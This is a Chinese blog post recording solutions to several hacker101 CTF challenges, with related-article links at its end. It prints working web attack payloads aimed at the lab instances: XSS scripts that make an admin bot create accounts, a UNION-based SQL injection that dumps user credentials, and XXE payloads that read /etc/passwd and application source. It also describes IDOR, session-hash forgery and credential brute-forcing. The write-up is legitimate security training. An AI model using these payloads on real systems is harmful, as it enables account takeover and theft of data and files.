hacker101 CTF 学习记录(二)
前言
无
Easy-Postbook
拿到功能有点多,先扫一遍目录

.Ds_Store没有啥东西,page是个静态页面

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1
自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

改成id的值1

提交获取flag

我们将自己的session的hash值放入md5中,发现MD5解码为3


因此将session值改为1和2的md5试试看

替换为1的md5,登录账号1,获取第二个flag

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

去查delete跟的hash参数,也是简单的数据经过md5加密的


因此肯定存在越权,登录另一个账号,删除账号1的文章

拿到第五个flag

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

那么修改id为1,拿到第六个flag

还有一个flag,捣鼓了下修改密码处,无果
整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个
最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

这类漏洞利用思路hint

Moderate-Ticketastic: Demo Instance
这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的
给了后台管理员登录admin/admin
前台有个反馈

反馈后,后台弹框,JavaScript成功执行

Moderate-Ticketastic: Live Instance
环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。
拿到创建test/test的请求
http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

来手写ajax
<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

尝试了下不行
中途有事耽搁了几天,重新申请了环境,改改poc
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>
将请求内容放到title中,终于在测试环境中成功了

成功添加了test1/test

那么在正式题目环境中,尝试一下
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试
<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>
可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/
竟然登了进去了,找到第一个flag

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>
在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因
第二个flag在id=1处,使用sql的测试语句报错

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注
http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

这类漏洞利用思路hint
之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

Easy-Petshop Pro
进入题目分析下功能点,是个购物车功能

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

剩下2个flag没有思路,先扫一遍目录

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

同理爆破出弱口令key

拿到第二个flag

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag
最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

这类漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock
先扫一下目录发现有admin目录

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

接下来看看注释,说有个get-config

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

爆破到参数为data的时候为500.....

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>
url编码一下
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e
非常棒,302了,说明成功了

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中


xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>
已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>
拿到第一个flag

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的
主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因
匹配值会进入next函数,但main.py里面没有next函数的定义

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

密码种子碰撞不会orz,暂时挖个坑
hacker101 CTF 学习记录(二)的更多相关文章
- Hacker101 CTF 学习记录(一)
前言 苦力挖洞,靠运气赚点小钱.看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水 思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思 ...
- Material Calendar View 学习记录(二)
Material Calendar View 学习记录(二) github link: material-calendarview; 在学习记录一中简单翻译了该开源项目的README.md文档.接下来 ...
- Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客
==他的博客应该不错,没有细看 Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客 http://blog.csdn.net/u012706811/article/det ...
- JavaScript学习记录二
title: JavaScript学习记录二 toc: true date: 2018-09-13 10:14:53 --<JavaScript高级程序设计(第2版)>学习笔记 要多查阅M ...
- 2.VUE前端框架学习记录二
VUE前端框架学习记录二:Vue核心基础2(完结)文字信息没办法描述清楚,主要看编码实战里面,有附带有一个完整可用的Html页面,有需要的同学到脑图里面自取.脑图地址http://naotu.baid ...
- Spring Boot学习记录(二)–thymeleaf模板
自从来公司后都没用过jsp当界面渲染了,因为前后端分离不是很好,反而模板引擎用的比较多,thymeleaf最大的优势后缀为html,就是只需要浏览器就可以展现页面了,还有就是thymeleaf可以很好 ...
- 【java并发编程艺术学习】(四)第二章 java并发机制的底层实现原理 学习记录(二) synchronized
章节介绍 本章节主要学习 Java SE 1.6 中为了减少获得锁 和 释放锁 时带来的性能消耗 而引入的偏向锁 和 轻量级锁,以及锁的存储结构 和 升级过程. synchronized实现同步的基础 ...
- SpringBoot学习记录(二)
一. SpringBoot日志框架 SpringBoot:底层是Spring框架,Spring框架默认是用JCL(commons-logging): SpringBoot选用SLF4j和logback ...
- Spring学习记录(二)---容器和bean属性配置
下载spring包,在eclipse搭建spring环境. 这步我在eclipse中无法导入包,看网上的: http://sishuok.(和谐)com/forum/blogPost/list/242 ...
随机推荐
- C#LeetCode刷题之#705-设计哈希集合(Design HashSet)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/4114 访问. 不使用任何内建的哈希表库设计一个哈希集合 具体地说 ...
- Eclipse的Servers中无法添加Tomcat6/7
2017年03月06日 17:14:46 阅读数:1007 Eclipse中在添加tomcat时发现6和7点击后发现ServerName是灰色的不能使用,也点不了NEXT,在各种查百度后发现需要删除w ...
- webpack系列之loader的基本使用
可以访问 这里 查看更多关于大数据平台建设的原创文章. webpack系列之loader及简单的使用 一. loader有什么用 webpack本身只能打包Javascript文件,对于其他资源例如 ...
- python 去除Excel中的重复行数据
导入pandas import pandas as pd 1.读取excel中的数据: frame = pd.DataFrame(pd.read_csv('excel的绝对路径.csv'', 'She ...
- 28个漂亮的React.js后台管理模板
React管理模板 为您的React Web应用程序开发一个管理区域可能非常耗时.它与设计所有前端页面一样重要. 这是2020年设计出色的顶级React.js后台管理模板的列表. 这些模板确实有价值, ...
- 使用 codeblocks 编写C++ udp组播程序遇到的问题
编译错误 会出现好多undefined reference to'WSAStartup to@8之类的错误,都是undefind开头的 解决方法: Settings -> Compiler se ...
- idea工程在maven projects中显示灰色的解决办法
原文链接:https://blog.csdn.net/qq_30507287/article/details/83515461 在Mac上使用idea进行开发的过程中,一般在MavenProject中 ...
- Nordic 52840-Timer定时器学习问题(一)
今天在ble_app_blinky例程中移植定时器驱动,在编译过程中报出了两个错误,在此记录一下. 1. 在nRF_Dreivers中添加nrfx_timer.c文件 选中“nRF_Dreivers ...
- 你竟然不知道Java中可以用 :: 吗?
简介 Java8中方法引用分为三种,方法引用通过一对双冒号:: 来表示,方法引用是一种函数式接口的另一种书写方式 静态方法引用,通过类名::静态方法名, 如 Integer::parseInt 实例方 ...
- 区块链入门到实战(31)之Solidity – 第一个程序
为简单起见,我们使用在线Solidity开发工具Remix IDE编译和运行Solidity程序. 第1步 – 在File explorers选项卡下,新建一个test1.sol文件,代码如下: 示例 ...